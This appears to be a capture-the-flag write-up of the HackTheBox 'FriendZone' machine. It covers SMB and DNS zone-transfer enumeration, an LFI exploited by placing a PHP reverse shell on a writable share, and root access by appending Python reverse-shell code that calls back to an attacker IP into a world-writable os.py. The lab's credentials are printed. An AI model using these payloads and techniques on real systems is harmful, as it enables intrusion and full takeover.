The FriendZone HackTheBox machine focuses on service enumeration, exploiting DNS misconfigurations, Local File Inclusion (LFI), and privilege escalation through Python library hijacking. Initial reconnaissance identifies exposed SMB shares allowing anonymous access, leading to the recovery of hardcoded administrative credentials. DNS zone transfer (AXFR) enumeration against port 53 reveals internal subdomains, including an administrative portal and a file upload host. Authenticating to the admin portal exposes an LFI vulnerability via the pagename URL parameter. By uploading a PHP reverse shell to the writable Development SMB share, LFI is leveraged to execute the payload and obtain initial shell access as www-data. Lateral movement to user friend is achieved by discovering plaintext MySQL credentials stored in a file and reusing them via SSH. Privilege escalation to root relies on monitoring background processes with pspy, which exposes a scheduled cron job running as root. Auditing local file permissions reveals that the system's core library is world-writable. Appending a reverse shell payload to os.py triggers execution when reporter.py imports the hijacked module, yielding full root access.
1. Network Reconnaissance & Service Enumeration
1.1 Port & Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap friendzone.htb -sC -sV -O -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-02 04:01 -0500 Nmap scan report for friendzone.htb (10.129.18.5) Host is up (0.51s latency). Not shown: 993 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA) | 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA) |_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519) 53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Friend Zone Escape software 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 443/tcp open ssl/http Apache httpd 2.4.29 | ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO | Not valid before: 2018-10-05T21:02:30 |_Not valid after: 2018-11-04T21:02:30 | tls-alpn: |_ http/1.1 |_ssl-date: TLS randomness does not represent time |_http-title: 404 Not Found |_http-server-header: Apache/2.4.29 (Ubuntu) 445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.11 Network Distance: 2 hops Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb-os-discovery: | OS: Windows 6.1 (Samba 4.7.6-Ubuntu) | Computer name: friendzone | NetBIOS computer name: FRIENDZONE\x00 | Domain name: \x00 | FQDN: friendzone |_ System time: 2026-11-02T11:02:22+02:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user:
Based on the scan results, the following ports and services are open on the target machine.
- Port 21 - FTP
- Port 22 - SSH
- Port 53 - DNS
- Port 80 - HTTP (Apache 2.4.29)
- Ports 139 and 445 - SMB (Anonymous Login Enabled)
- Port 443 - HTTPS (Apache 2.4.29)
1.2 SMB Share Enumeration
Since anonymous login is enabled, I decided to enumerate the SMB service first. I used netexec to enumerate the available shares.
SMB 10.129.18.5 445 FRIENDZONE [*] Unix - Samba (name:FRIENDZONE) (domain:) (signing:False) (SMBv1:True) (Null Auth:True) SMB 10.129.18.5 445 FRIENDZONE [+] \anonymous: (Guest) SMB 10.129.18.5 445 FRIENDZONE [*] Enumerated shares SMB 10.129.18.5 445 FRIENDZONE Share Permissions Remark SMB 10.129.18.5 445 FRIENDZONE ----- ----------- ------ SMB 10.129.18.5 445 FRIENDZONE print$ Printer Drivers SMB 10.129.18.5 445 FRIENDZONE Files FriendZone Samba Server Files /etc/Files SMB 10.129.18.5 445 FRIENDZONE general READ FriendZone Samba Server Files SMB 10.129.18.5 445 FRIENDZONE Development READ,WRITE FriendZone Samba Server Files SMB 10.129.18.5 445 FRIENDZONE IPC$ IPC Service (FriendZone server (Samba, Ubuntu))
Anonymous user has read access to the general share and read-write access to the Development share. To determine the underlying local file paths of the shares, I used Nmap's smb-enum-shares.nse script.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-02 06:21 -0500 Nmap scan report for friendzone.htb (10.129.18.5) Host is up (0.38s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-enum-shares: | account_used: guest | \\10.129.18.5\Development: | Type: STYPE_DISKTREE | Comment: FriendZone Samba Server Files | Users: 0 | Max Users: <unlimited> | Path: C:\etc\Development | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.129.18.5\Files: | Type: STYPE_DISKTREE | Comment: FriendZone Samba Server Files /etc/Files | Users: 0 | Max Users: <unlimited> | Path: C:\etc\hole | Anonymous access: <none> | Current user access: <none> | \\10.129.18.5\IPC$: | Type: STYPE_IPC_HIDDEN | Comment: IPC Service (FriendZone server (Samba, Ubuntu)) | Users: 1 | Max Users: <unlimited> | Path: C:\tmp | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.129.18.5\general: | Type: STYPE_DISKTREE | Comment: FriendZone Samba Server Files | Users: 0 | Max Users: <unlimited> | Path: C:\etc\general | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.129.18.5\print$: | Type: STYPE_DISKTREE | Comment: Printer Drivers | Users: 0 | Max Users: <unlimited> | Path: C:\var\lib\samba\printers | Anonymous access: <none> |_ Current user access: <none> Nmap done: 1 IP address (1 host up) scanned in 100.95 seconds
1.3 File Harvesting & Credential Recovery
I decided to enumerate the general share first, and I found a creds.txt file that contains admin credentials.
Password for [WORKGROUP\anonymous]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 16 15:10:51 2019
.. D 0 Tue Sep 13 10:56:24 2022
creds.txt N 57 Tue Oct 9 19:52:42 2018
3545824 blocks of size 1024. 1651388 blocks available
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \>
creds for the admin THING: admin:WORKWORKHhallelujah@#
The credentials are not working against FTP, SSH or SMB. Since the credentials are not working for these services, they must be used on the website.
2. DNS Zone Transfer & Virtual Host Discovery
2.1 Website Enumeration
Visiting the website on port 80 renders a simple website. The website does not contain any interesting information, and the VHOST scan did not find any subdomains.
Visiting port 443 (https://friendzone.htb) displays a default error page. The directory scan also did not find anything interesting.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://friendzone.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Extensions: php,html,env,md,txt,config,phtml [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== index.html (Status: 200) [Size: 324] wordpress (Status: 301) [Size: 320] [--> http://friendzone.htb/wordpress/] robots.txt (Status: 200) [Size: 13]
Looking through the website again, I noticed that the email address domain name (friendzoneportal.red) is different. After adding this new domain name to the /etc/hosts file and visiting over HTTPS, it renders a different website.
I could not find any interesting information on this website. But looking at the TLS certificate information, I noticed that the domain name friendzone.red is different. Adding this domain to /etc/hosts file and visiting over HTTPS, it renders a different website.
Inspecting the website's source code reveals a hidden directory path in the comments.
<!-- Just doing some development here --> <!-- /js/js --> <!-- Don't go deep ;) -->
Visiting https://friendzone.red/js/js renders a web page with a message. The source code of this page contains another HTML comment.
<!-- dont stare too much , you will be smashed ! , it's all about times and zones ! -->
2.2 DNS AXFR Exploitation
Because the target machine is running the DNS service on port 53, I decided to execute a DNS Zone Transfer Request(AXFR) using dig to enumerate any subdomains.
; <<>> DiG 9.20.23-1-Debian <<>> axfr @friendzone.red friendzone.red ; (1 server found) ;; global options: +cmd friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 friendzone.red. 604800 IN AAAA ::1 friendzone.red. 604800 IN NS localhost. friendzone.red. 604800 IN A 127.0.0.1 administrator1.friendzone.red. 604800 IN A 127.0.0.1 hr.friendzone.red. 604800 IN A 127.0.0.1 uploads.friendzone.red. 604800 IN A 127.0.0.1 friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 ;; Query time: 312 msec ;; SERVER: 10.129.18.5#53(friendzone.red) (TCP) ;; WHEN: Mon Nov 02 05:27:05 EST 2026 ;; XFR size: 8 records (messages 1, bytes 289)
The result revealed 3 additional subdomains.
2.3 Web Portal Authentication
After adding this domain to the /etc/hosts file, I could access the subdomains in a browser.
hr.friendzone.redthrows a 404 error.uploads.friendzone.redrenders an image upload form.administrator1.friendzone.redrenders a login form.
I used the credentials I found in the SMB share, and I was able to log in successfully and visit the dashboard. The dashboard has a developer note mentioning that the application was untested.
3. LFI Vulnerability Analysis & SMB Payload Delivery
3.1 Source Code Extraction via PHP Filter
The dashboard has instructions (image_id=a.jpg&pagename=timestamp) to view uploaded images. The pagename parameter seems to accept a file name.
Visiting https://administrator1.friendzone.red/timestamp.php, I was able to load the timestamp.php file separately and verify that the pagename parameter accepts a local file name and loads the file.
PD9waHAKCgokdGltZV9maW5hbCA9IHRpbWUoKSArIDM2MDA7CgplY2hvICJGaW5hbCBBY2Nlc3MgdGltZXN0YW1wIGlzICR0aW1lX2ZpbmFsIjsKCgo/Pgo=
I was able to use php://filter/convert.base64-encode/resource PHP filter wrapper to extract the file's source code in Base64 format.
Applying the same filter for the dashboard, I was able to extract the source code for the dashboard.
PD9waHAKCi8vZWNobyAiPGNlbnRlcj48aDI+U21hcnQgcGhvdG8gc2NyaXB0IGZvciBmcmllbmR6b25lIGNvcnAgITwvaDI+PC9jZW50ZXI+IjsKLy9lY2hvICI8Y2VudGVyPjxoMz4qIE5vdGUgOiB3ZSBhcmUgZGVhbGluZyB3aXRoIGEgYmVnaW5uZXIgcGhwIGRldmVsb3BlciBhbmQgdGhlIGFwcGxpY2F0aW9uIGlzIG5vdCB0ZXN0ZWQgeWV0ICE8L2gzPjwvY2VudGVyPiI7CmVjaG8gIjx0aXRsZT5GcmllbmRab25lIEFkbWluICE8L3RpdGxlPiI7CiRhdXRoID0gJF9DT09LSUVbIkZyaWVuZFpvbmVBdXRoIl07CgppZiAoJGF1dGggPT09ICJlNzc0OWQwZjRiNGRhNWQwM2U2ZTkxOTZmZDFkMThmMSIpewogZWNobyAiPGJyPjxicj48YnI+IjsKCmVjaG8gIjxjZW50ZXI+PGgyPlNtYXJ0IHBob3RvIHNjcmlwdCBmb3IgZnJpZW5kem9uZSBjb3JwICE8L2gyPjwvY2VudGVyPiI7CmVjaG8gIjxjZW50ZXI+PGgzPiogTm90ZSA6IHdlIGFyZSBkZWFsaW5nIHdpdGggYSBiZWdpbm5lciBwaHAgZGV2ZWxvcGVyIGFuZCB0aGUgYXBwbGljYXRpb24gaXMgbm90IHRlc3RlZCB5ZXQgITwvaDM+PC9jZW50ZXI+IjsKCmlmKCFpc3NldCgkX0dFVFsiaW1hZ2VfaWQiXSkpewogIGVjaG8gIjxicj48YnI+IjsKICBlY2hvICI8Y2VudGVyPjxwPmltYWdlX25hbWUgcGFyYW0gaXMgbWlzc2VkICE8L3A+PC9jZW50ZXI+IjsKICBlY2hvICI8Y2VudGVyPjxwPnBsZWFzZSBlbnRlciBpdCB0byBzaG93IHRoZSBpbWFnZTwvcD48L2NlbnRlcj4iOwogIGVjaG8gIjxjZW50ZXI+PHA+ZGVmYXVsdCBpcyBpbWFnZV9pZD1hLmpwZyZwYWdlbmFtZT10aW1lc3RhbXA8L3A+PC9jZW50ZXI+IjsKIH1lbHNlewogJGltYWdlID0gJF9HRVRbImltYWdlX2lkIl07CiBlY2hvICI8Y2VudGVyPjxpbWcgc3JjPSdpbWFnZXMvJGltYWdlJz48L2NlbnRlcj4iOwoKIGVjaG8gIjxjZW50ZXI+PGgxPlNvbWV0aGluZyB3ZW50IHdvcm5nICEgLCB0aGUgc2NyaXB0IGluY2x1ZGUgd3JvbmcgcGFyYW0gITwvaDE+PC9jZW50ZXI+IjsKIGluY2x1ZGUoJF9HRVRbInBhZ2VuYW1lIl0uIi5waHAiKTsKIC8vZWNobyAkX0dFVFsicGFnZW5hbWUiXTsKIH0KfWVsc2V7CmVjaG8gIjxjZW50ZXI+PHA+WW91IGNhbid0IHNlZSB0aGUgY29udGVudCAhICwgcGxlYXNlIGxvZ2luICE8L2NlbnRlcj48L3A+IjsKfQo/Pgo=
Reviewing the dashboard.php source code, I noticed that the pagename parameter is directly injected into a file include without any validation or sanitization.
include($_GET["pagename"].".php");
3.2 Payload Upload & Remote Code Execution
Based on earlier NMAP script enumeration, I can write files into the /etc/Development directory using anonymous access. I uploaded a PHP reverse shell script using SMB into the Development share.
Password for [WORKGROUP\anonymous]:
Try "help" to get a list of possible commands.
smb: \> put shell.php
putting file shell.php as \shell.php (2.6 kB/s) (average 2.6 kB/s)
smb: \> ls
. D 0 Mon Nov 2 06:31:13 2026
.. D 0 Tue Sep 13 10:56:24 2022
test.txt A 0 Mon Nov 2 04:33:02 2026
shell.php A 3460 Mon Nov 2 06:31:14 2026
3545824 blocks of size 1024. 1639688 blocks available
smb: \>
Now the reverse shell script is located at /etc/Development/shell.php. Since this is an Apache server, the web root directories are located in the /var/www/{WEB_ROOT} directory.
So, to trigger the reverse shell, I need to submit ./../../etc/Development/shell as the pagename parameter value.
After setting up a reverse shell listener using netcat, I was able to get Remote Code Execution(RCE) initial access as www-data.
listening on [any] 4444 ... connect to [10.10.16.36] from (UNKNOWN) [10.129.18.5] 38214 Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 13:31:58 up 2:35, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data
4. Initial Access & User Flag
4.1 User Flag Recovery
The target machine has only one user named friend. I was able to retrieve the user flag from the home directory of the friend user.
www-data@FriendZone:/$ cd home www-data@FriendZone:/home$ ls -l total 4 drwxr-xr-x 5 friend friend 4096 Sep 13 2022 friend www-data@FriendZone:/home$ cd friend/ www-data@FriendZone:/home/friend$ cat user.txt
4.2 SSH Lateral Movement
Looking around the files, I found the mysql_data.conf file in the /var/www directory, and it contains credentials for the friend user. I was able to log in via SSH to the target machine as the friend user.
for development process this is the mysql creds for user friend db_user=friend db_pass=Agpyu12!0.213$ db_name=FZ www-data@FriendZone:/var/www$
5. Privilege Escalation via Python Library Hijacking
5.1 Process Monitoring
I downloaded LinPeas to find privilege escalation vectors, and it found the server_admin directory inside the /opt directory.
╔══════════╣ Unexpected in /opt (usually empty) (T1083) total 12 drwxr-xr-x 3 root root 4096 Sep 13 2022 . drwxr-xr-x 22 root root 4096 Sep 13 2022 .. drwxr-xr-x 2 root root 4096 Sep 13 2022 server_admin
Looking inside the server_admin, I found reporter.py unfinished Python script that belongs to root.
#!/usr/bin/python import os to_address = "admin1@friendzone.com" from_address = "admin2@friendzone.com" print "[+] Trying to send email to %s"%to_address #command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"''' #os.system(command) # I need to edit the script later # Sam ~ python developer
The Python script imports the os module to execute system commands.
I downloaded pspy64 onto the target machine to enumerate any automated processes running as root. The results revealed that root is executing reporter.py periodically using cron.
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d ..... 2026/11/02 14:05:20 CMD: UID=0 PID=1 | /sbin/init splash 2026/11/02 14:06:01 CMD: UID=0 PID=48538 | /usr/bin/python /opt/server_admin/reporter.py 2026/11/02 14:06:01 CMD: UID=0 PID=48537 | /bin/sh -c /opt/server_admin/reporter.py 2026/11/02 14:06:01 CMD: UID=0 PID=48536 | /usr/sbin/CRON -f
5.2 Permission Audit & Module Hijacking
Because reporter.py is executed as root and imports the os library module, I decided to enumerate the file permissions inside the Python library paths, and I found that I have write permission to the os library module.
98 28 -rw-rw-r-- 1 friend friend 25583 Jan 15 2019 ./os.pyc
20473 28 -rwxrwxrwx 1 root root 25910 Jan 15 2019 ./os.py
Since the os.py is editable and is used by a script that is running as root, I will be able to escalate privileges by injecting reverse shell code into the os.py file.
5.3 Root Flag
To exploit this, I appended the following code to the very bottom of the os.py file.
import sys,socket,os,pty
s=socket.socket()
s.connect(("10.10.16.36", 4446))
for fd in (0, 1, 2):
os.dup2(s.fileno(), fd)
pty.spawn("/bin/bash")
After setting up a netcat listener, I was able to catch the reverse shell as root and retrieve the root flag.
listening on [any] 4445 ... connect to [10.10.16.36] from (UNKNOWN) [10.129.18.5] 34768 root@FriendZone:~# whoami whoami root root@FriendZone:~# cat /root/root.txt cat /root/root.txt
Congrats! We found both flags!